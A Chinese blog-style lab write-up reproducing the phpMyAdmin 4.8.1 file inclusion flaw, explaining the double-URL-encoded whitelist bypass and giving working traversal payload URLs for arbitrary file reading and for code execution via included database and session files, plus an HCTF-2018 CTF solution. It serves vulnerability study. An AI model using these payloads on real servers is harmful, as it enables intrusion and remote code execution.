一.环境配置

我采用的是Windows+phpstudy配置的运行环境,将phpMyAdmin4.8.1下载好解压到phpstudy网站根目录即可,这里需要注意的是php版本和Mysql的版本
phpMyAdmin4.8.1漏洞复现及利用
配置好后,直接访问http://localhost/phpMyAdmin
phpMyAdmin4.8.1漏洞复现及利用
登陆成功成功后你会遇到下图
phpMyAdmin4.8.1漏洞复现及利用
解决方法:
修改phpMyAdmin/libraries文件下的config.default.php里面的$cfg['blowfish_secret']配置,随意修改保存即可,长度一定要达到要求。
phpMyAdmin4.8.1漏洞复现及利用

二.漏洞复现

出bug的两处代码

1.phpMyAdmin/index.php的51-64行
phpMyAdmin4.8.1漏洞复现及利用
根据这几行代码可知要将$_REQUEST[‘target’]所表示的文件包含进来target参数需要满足以下5个条件:
1.不为空
2.是一个字符串
3.不能以index开头
4.不能在 $target_blacklist数组里面(即不能为import.php,export.php)
5.满足Core类里面的checkPageValidity()函数检查
前四个可以轻松绕过,来看看第五个条件
2.phpMyAdmin\libraries\classes\Core.php的443-476行,checkPageValidity()函数
phpMyAdmin4.8.1漏洞复现及利用
根据以上代码可知要使该函数返回True,必须满足以下三个条件中的一个:

  1. $page变量值在 $white_list数组中会返回True,以下是数组内容
    phpMyAdmin4.8.1漏洞复现及利用

2.经过mb_substr()和mb_strpos()处理的$page–>$_page的变量值在$_whitelist数组中
3.经过urldecode(),mb_substr(),mb_strpos()处理的$page–>$_page的变量值在$_whitelist数组中,这里值的分析的是$page是经过两次url解码再进行同2相同的函数处理,第一次由服务器自动解码了一次,然后再由urldecode()函数解码一次,所以在构造payload的时候‘?’应该url编码两次–>‘%253f’.
结合这两处代码,可以开始漏洞复现了。
两种漏洞利用方式
1.任意文件包含
任意文件包含通过目录穿越实现,现在我的D盘下有如下文件
phpMyAdmin4.8.1漏洞复现及利用
,构造payload来包含该文件,http://localhost/phpMyAdmin-4.8.1/index.php?target=db_datadict.php%253f/../../../../../../../../../PC/PyCharm%202020.2/build.txt,成功包含进来
phpMyAdmin4.8.1漏洞复现及利用
其他文件包含也是一样的,只需要给定绝对路径即可(不需要盘符).
2.任意代码执行
(1).包含数据库文件
先创建一个数据库用来写入要执行的代码
phpMyAdmin4.8.1漏洞复现及利用
完成之后再将该文件包含进来,查看数据库路径
phpMyAdmin4.8.1漏洞复现及利用
现在就可以构造payloadhttp://localhost/phpMyAdmin-4.8.1/index.php?target=db_datadict.php%253f/../../../../../../../../../phpStudy/Extensions/MySQL5.7.26/data/test/test.MYD,看到代码成功执行。
phpMyAdmin4.8.1漏洞复现及利用
(2).包含session文件
先在phpMyAdmin界面执行SELECT "<?php phpinfo();?>"
phpMyAdmin4.8.1漏洞复现及利用
找到了session文件的位置,将它包含进来,构造payloadhttp://localhost/phpMyAdmin-4.8.1/index.php?target=db_datadict.php%253f/../../../../../../../../../phpStudy/Extensions/tmp/tmp/sess_iidu2gfjp0kgsc8b1307ff6utsfcmbon,代码执行成功。
phpMyAdmin4.8.1漏洞复现及利用

三.漏洞利用

这里漏洞利用是HCTF-2018的一道web赛题–Warmup,打开之后是一个滑稽笑脸,F12查看源码,
phpMyAdmin4.8.1漏洞复现及利用
发现source.php这个提示,直接访问它,得到以下代码
phpMyAdmin4.8.1漏洞复现及利用
这一看就是代码审计,又发现代码里面有hint.php访问看看
phpMyAdmin4.8.1漏洞复现及利用
这里提示flag不在这里,在ffffllllaaaagggg里面,再结合代码和刚才上面讲的phpMyAdmin漏洞 任意文件包含,可以构造出payloadhttp://1b624b4a-7c5e-4c42-b035-b65f165e5827.node3.buuoj.cn/source.php?file=source.php%253f/../../../../../ffffllllaaaagggg,成功拿到Flag。
phpMyAdmin4.8.1漏洞复现及利用

相关文章: